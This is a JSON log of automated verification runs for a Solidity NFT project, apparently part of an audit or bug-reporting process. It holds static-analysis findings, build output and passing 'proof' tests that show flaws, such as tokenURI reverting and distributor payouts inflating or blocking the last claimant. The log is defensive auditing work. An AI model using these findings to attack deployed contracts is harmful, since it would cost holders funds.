performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/IMDenzaField.sol:105: IMDenzaField._noise(IMDenzaField.Ctx,uint256,int256,int256) (src/IMDenzaField.sol#105-130) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/IMDenzaDistributor.sol:103: IMDenzaDistributor._attribute(address,uint256,uint256) (src/IMDenzaDistributor.sol#103-123) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SwarmHistory.sol:219: SwarmHistory.snapshot() (src/SwarmHistory.sol#219-224) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/IMDenza.sol:309: Reentrancy in IMDenza._mintTo(address,uint8) (src/IMDenza.sol#309-343):\n[medium/medium] uninitialized-local at src/IMDenzaDistributor.sol:175: IMDenzaDistributor._accBefore(address,uint256).lo (src/IMDenzaDistributor.sol#175) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDenzaField.sol:68: IMDenzaField.render(IMDenzaField.Params,bytes).c (src/IMDenzaField.sol#68) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDenzaRenderer.sol:229: IMDenzaRenderer._accents(IMDenzaRenderer.Piece,IMDenzaRenderer.Traits).k (src/IMDenzaRenderer.sol#229) is a local variable never initialized\n[medium/medium] unused-return at src/IMDenza.sol:286: IMDenza.mint(address) (src/IMDenza.sol#286-305) ignores return value by distributor.distribute(paymentToken) (src/IMDenza.sol#302)\n[medium/medium] unused-return at src/IMDenzaRenderer.sol:145: IMDenzaRenderer.svg(IMDenzaRenderer.Piece) (src/IMDenzaRenderer.sol#145-149) ignores return value by (defs,uses,None) = field.render(_params(t),_palette(t.palette)) (src/IMDenzaRenderer.sol#147)\n[low/medium] calls-loop at src/IMDenzaDistributor.sol:128: IMDenzaDistributor.claim(address,uint256[]) (src/IMDenzaDistributor.sol#128-152) has external calls inside a loop: i != 0 && nft.ownerOf(id) != to (src/IMDenzaDistributor.sol#134)\n[low/medium] calls-loop at src/IMDenzaDistributor.sol:80: IMDenzaDistributor.sync(address[]) (src/IMDenzaDistributor.sol#80-97) has external calls inside a loop: (ok,data) = asset.staticcall(abi.encodeWithSelector(IERC20.balanceOf.selector,address(this))) (src/IMDenzaDistributor.sol#90-91)\n[low/medium] reentrancy-benign at src/IMDenza.sol:179: Reentrancy in IMDenza._applyTransferPolicy(bool) (src/IMDenza.sol#179-201):\n[low/medium] reentrancy-benign at src/IMDenza.sol:309: Reentrancy in IMDenza._mintTo(address,uint8) (src/IMDenza.sol#309-343):\n[low/medium] reentrancy-events at src/IMDenza.sol:179: Reentrancy in IMDenza._applyTransferPolicy(bool) (src/IMDenza.sol#179-201):\n[low/medium] return-bomb at src/IMDenza.sol:166: IMDenza._isErc721(address) (src/IMDenza.sol#166-171) tries to limit the gas of an external call that controls implicit decoding\n[low/medium] timestamp at src/SwarmHistory.sol:140: SwarmHistory._record(bytes32,uint8,uint16,uint8,uint40) (src/SwarmHistory.sol#140-189) uses timestamp for comparisons","passed":true},{"durationMs":12800,"exitCode":0,"name":"proof 43874bae9038","output":"Compiling 55 files with Solc 0.8.26\nSolc 0.8.26 finished in 11.78s\nCompiler run successful with warnings:\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/AutomaticValidatorTransferApproval.sol:30:9:\n   |\n30 |         autoApproveTransfersFromValidator = autoApprove;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:71:9:\n   |\n71 |         bool isValidTransferValidator = transferValidator_.code.length > 0;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:77:9:\n   |\n77 |         emit TransferValidatorUpdated(address(getTransferValidator()), transferValidator_);\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n  --> test/imd-proof-ba021884/Proof_43874bae9038.t.sol:26:5:\n   |\n26 |     function _find(bytes32 entropy, uint256 tokenId) internal view returns (IMDenzaRenderer.Piece memory p) {\n   |     ^ (Relevant source part starts here and spans across multiple lines).\n\n\nRan 1 test for test/imd-proof-ba021884/Proof_43874bae9038.t.sol:DensityBucketTest\n[PASS] test_densityBucketThreeMakesTokenUriRevert() (gas: 71957483)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 145.24ms (144.59ms CPU time)\n\nRan 1 test suite in 145.98ms (145.24ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":11936,"exitCode":0,"name":"proof a09b61c4647d","output":"2026-10-16T18:57:14.340711Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-vJvH9z/repo/test/imd-proof-ba021884/Proof_43874bae9038.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 11.06s\nCompiler run successful with warnings:\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/AutomaticValidatorTransferApproval.sol:30:9:\n   |\n30 |         autoApproveTransfersFromValidator = autoApprove;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:71:9:\n   |\n71 |         bool isValidTransferValidator = transferValidator_.code.length > 0;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:77:9:\n   |\n77 |         emit TransferValidatorUpdated(address(getTransferValidator()), transferValidator_);\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\n\nRan 2 tests for test/imd-proof-2a3de6cc/Proof_a09b61c4647d.t.sol:DistributorDustProof\n[PASS] test_lastClaimantRevertsAfterOrdinaryDistributions() (gas: 554852)\n[PASS] test_repeatedDistributeInflatesPendingWithoutNewFunds() (gas: 641540)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.22ms (966.80µs CPU time)\n\nRan 1 test suite in 6.29ms (2.22ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)\n","passed":true},{"durationMs":11672,"exitCode":0,"name":"proof 32a0a583ec8b","output":"2026-10-16T18:57:26.444976Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-vJvH9z/repo/test/imd-proof-2a3de6cc/Proof_a09b61c4647d.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 10.67s\nCompiler run successful with warnings:\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/AutomaticValidatorTransferApproval.sol:30:9:\n   |\n30 |         autoApproveTransfersFromValidator = autoApprove;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:71:9:\n   |\n71 |         bool isValidTransferValidator = transferValidator_.code.length > 0;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:77:9:\n   |\n77 |         emit TransferValidatorUpdated(address(getTransferValidator()), transferValidator_);\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\n\nRan 1 test for test/imd-proof-4f4358d2/Proof_32a0a583ec8b.t.sol:ProofRoyaltyDilutionTest\n[PASS] test_royaltiesEarnedBeforeAMintAreNotSharedWithIt() (gas: 2834678)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.56ms (1.33ms CPU time)\n\nRan 1 test suite in 5.06ms (2.56ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"abdfd81b6e68ec5bd46da8aabf2de7d1afd8906cbd72e8d8dc3055dac6a6b269","verifiedTreeHash":"373d208a3aae3508b2b5fa7910b9d6257fde95a5","verifierVersion":"0.1.0+d952fceb"},{"checks":[{"durationMs":52629,"exitCode":0,"name":"build","output":"Compiling 62 files with Solc 0.8.26\nSolc 0.8.26 finished in 52.54s\nCompiler run successful with warnings:\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/AutomaticValidatorTransferApproval.sol:30:9:\n   |\n30 |         autoApproveTransfersFromValidator = autoApprove;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:71:9:\n   |\n71 |         bool isValidTransferValidator = transferValidator_.code.length > 0;\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (5740): Unreachable code.\n  --> lib/creator-token-standards/src/utils/CreatorTokenBase.sol:77:9:\n   |\n77 |         emit TransferValidatorUpdated(address(getTransferValidator()), transferValidator_);\n   |         ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":1883,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 7 tests for test/SwarmHistory.t.sol:SwarmHistoryTest\n[PASS] testFuzz_entropyIsOrderSensitive(bytes32,bytes32) (runs: 64, μ: 1151415, ~: 1151838)\n[PASS] test_batchRecordsInOrderAndRejectsMismatch() (gas: 976164)\n[PASS] test_duplicateJobIdReverts() (gas: 417094)\n[PASS] test_invalidInputsRevert() (gas: 104859)\n[PASS] test_pulseDecaysAndSaturates() (gas: 2730544)\n[PASS] test_recordUpdatesEntropyCountersAndPulse() (gas: 467572)\n[PASS] test_typeProfileCapsAt255AndFoundationalDigestsAreLimited() (gas: 4060995)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 7.82ms (9.95ms CPU time)\n\nRan 9 tests for test/IMDenzaDistributor.t.sol:IMDenzaDistributorTest\n[PASS] testFuzz_conservation(uint8,uint64[4]) (runs: 64, μ: 1552827, ~: 1166393)\n[PASS] test_claimRequiresSingleOwnerAndNonEmptyList() (gas: 1101514)\n[PASS] test_distributeRevertsWithoutTokensOrValue() (gas: 629096)\n[PASS] test_erc20RoyaltiesAndMintProceeds() (gas: 2090675)\n[PASS] test_ethRoyaltiesSplitEquallyAndLaterMintsDoNotShareEarlierValue() (gas: 1739147)\n[PASS] test_pendingIsZeroForUnknownTokens() (gas: 575458)\n[PASS] test_reentrantClaimIsRejected() (gas: 1169659)\n[PASS] test_rejectingReceiverOnlyBlocksItsOwnClaim() (gas: 1178032)\n[PASS] test_unclaimedValueTravelsWithTheToken() (gas: 715500)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 38.49ms (40.03ms CPU time)\n\nRan 14 tests for test/Hardening.t.sol:HardeningTest\n[PASS] testFuzz_densityHasThreeBuckets(bytes32,bytes32,uint16) (runs: 64, μ: 20514, ~: 20510)\n[PASS] test_batchClaimPaysTheSumOfPending() (gas: 1074458)\n[PASS] test_fractionalCreditStaysClaimable() (gas: 1224471)\n[PASS] test_identityCollectionMustBeAnErc721ElsewhereThanHere() (gas: 215154)\n[PASS] test_maxDensityInputRenders() (gas: 32562879)\n[PASS] test_mintFromInsideAPayoutIsRefused() (gas: 1098688)\n[PASS] test_oddDistributionsNeverOverPromise() (gas: 1659791)\n[PASS] test_paymentThatDoesNotArriveIsRefused() (gas: 206120)\n[PASS] test_replayedDistributeIsANoOp() (gas: 1437560)\n[PASS] test_sameBlockRecordsDoNotChangeTheSeed() (gas: 1312723)\n[PASS] test_syncIsPermissionlessAndSkipsUnreadableAssets() (gas: 659779)\n[PASS] test_tokenBWithHugeDecimalsDoesNotBlockImdClaims() (gas: 1152633)\n[PASS] test_tokenBWithTooFewDecimalsCannotBeUsedToPay() (gas: 715863)\n[PASS] test_valueArrivedBeforeAMintIsNotSharedWithIt() (gas: 2068901)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 55.89ms (63.38ms CPU time)\n\nRan 27 tests for test/IMDenza.t.sol:IMDenzaTest\n[PASS] test_applyPolicyRevertsWhenValidatorHasNoCode() (gas: 378840)\n[PASS] test_constructorRejectsZeroAddresses() (gas: 8870)\n[PASS] test_constructorsSucceedOnAnEmptyChain() (gas: 19263)\n[PASS] test_deploymentWiring() (gas: 68807)\n[PASS] test_eachRouteIsIndependentPerWallet() (gas: 1094985)\n[PASS] test_failedClaimDoesNotConsumeTheWalletsClaim() (gas: 74212)\n[PASS] test_fidenzaClaimChecksProjectOwnershipAndReuse() (gas: 720550)\n[PASS] test_identityClaimRevertsUntilConfigured() (gas: 114842)\n[PASS] test_identityClaimSuccessAndLimits() (gas: 1103768)\n[PASS] test_identityCollectionIsOneShotAndConfiguratorOnly() (gas: 154410)\n[PASS] test_imdClaimCountsSecondTokenWhenItHasCode() (gas: 1094369)\n[PASS] test_imdClaimRequiresMoreThan25() (gas: 563281)\n[PASS] test_lastPieceMintsThenSoldOut() (gas: 668503)\n[PASS] test_mintPriceFollowsTokenDecimals() (gas: 694900)\n[PASS] test_mintProceedsWhenValidatorRejectsPolicyAndExplicitCallReverts() (gas: 553900)\n[PASS] test_noOwnerPowers() (gas: 55103)\n[PASS] test_policyAppliedOnFirstMintWithFixedParameters() (gas: 486108)\n[PASS] test_publicMintRevertsWithoutApprovalOrFunds() (gas: 127276)\n[PASS] test_publicMintSplitsProceeds90_10() (gas: 673139)\n[PASS] test_reusedTokenHashIsRehashed() (gas: 584583)\n[PASS] test_royaltyInfo() (gas: 8788)\n[PASS] test_soldOutStopsEveryRoute() (gas: 450402)\n[PASS] test_swarmSnapshotIsFrozenAtMint() (gas: 1984100)\n[PASS] test_tokenUriAndTraits() (gas: 34966529)\n[PASS] test_tokensMintedInSameBlockAreUnique() (gas: 1355325)\n[PASS] test_transfersGoThroughValidator() (gas: 714561)\n[PASS] test_viewsRevertForNonexistentToken() (gas: 38961)\nSuite result: ok. 27 passed; 0 failed; 0 skipped; finished in 57.36ms (64.56ms CPU time)\n\nRan 8 tests for test/IMDenzaRenderer.t.sol:IMDenzaRendererTest\n[PASS] testFuzz_everyTokenRenders(uint256,bytes32) (runs: 64, μ: 15668521, ~: 14011977)\n[PASS] testFuzz_fieldRendersForAnySeed(bytes32,uint8) (runs: 64, μ: 8382973, ~: 7627305)\n[PASS] test_deterministicForSamePiece() (gas: 76940191)\n[PASS] test_fieldRejectsBadInputs() (gas: 26221)\n[PASS] test_pulseChangesAnimationOnlyNotComposition() (gas: 50943905)\n[PASS] test_rendererRejectsZeroAddresses() (gas: 6495)\n[PASS] test_swarmHistoryModulatesLaterPieces() (gas: 7704967)\n[PASS] test_tokenIdAloneChangesTheComposition() (gas: 47457898)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 1.78s (3.02s CPU time)\n\nRan 5 test suites in 1.79s (1.94s CPU time): 65 tests passed, 0 failed, 0 skipped (65 total tests)\n","passed":true},{"durationMs":60,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDenza.applyTransferPolicy()\",\"IMDenza.approve(address,uint256)\",\"IMDenza.claimWithFidenza(uint256)\",\"IMDenza.claimWithIdentityMd(uint256)\",\"IMDenza.claimWithImd()\",\"IMDenza.mint(address)\",\"IMDenza.safeTransferFrom(address,address,uint256)\",\"IMDenza.safeTransferFrom(address,address,uint256,bytes)\",\"IMDenza.setApprovalForAll(address,bool)\",\"IMDenza.setAutomaticApprovalOfTransfersFromValidator(bool)\",\"IMDenza.setIdentityMdCollection(address)\",\"IMDenza.setTransferValidator(address)\",\"IMDenza.transferFrom(address,address,uint256)\",\"IMDenzaDistributor.claim(address,uint256[])\",\"IMDenzaDistributor.distribute(address)\",\"IMDenzaDistributor.receive()\",\"IMDenzaDistributor.sync(address[])\",\"SwarmHistory.recordJob(bytes32,uint8,uint16,uint8,uint40)\",\"SwarmHistory.recordJobs(bytes32[],uint8[],uint16[],uint8[],uint40[])\"],\"files\":{\".gitignore\":4,\"README.md\":199,\"foundry.toml\":22,\"launch.json\":29,\"remappings.txt\":4,\"script/Deploy.s.sol\":39,\"src/IMDenza.sol\":402,\"src/IMDenzaDistributor.sol\":185,\"src/IMDenzaField.sol\":396,\"src/IMDenzaRenderer.sol\":423,\"src/SwarmHistory.sol\":249,\"test/Base.t.sol\":76,\"test/Hardening.t.sol\":240,\"test/IMDenza.t.sol\":425,\"test/IMDenzaDistributor.t.sol\":182,\"test/IMDenzaRenderer.t.sol\":130,\"test/SwarmHistory.t.sol\":127,\"test/mocks/Mocks.sol\":156},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"e7b6791e267e3c061239f9ee12b1dffd8025936da88f5c325abe6ea0955ac051","verifiedTreeHash":"6d8b3463ef128d89f0b3dfb4195ae283cb2fdd5d","verifierVersion":"0.1.0+d952fceb"}]}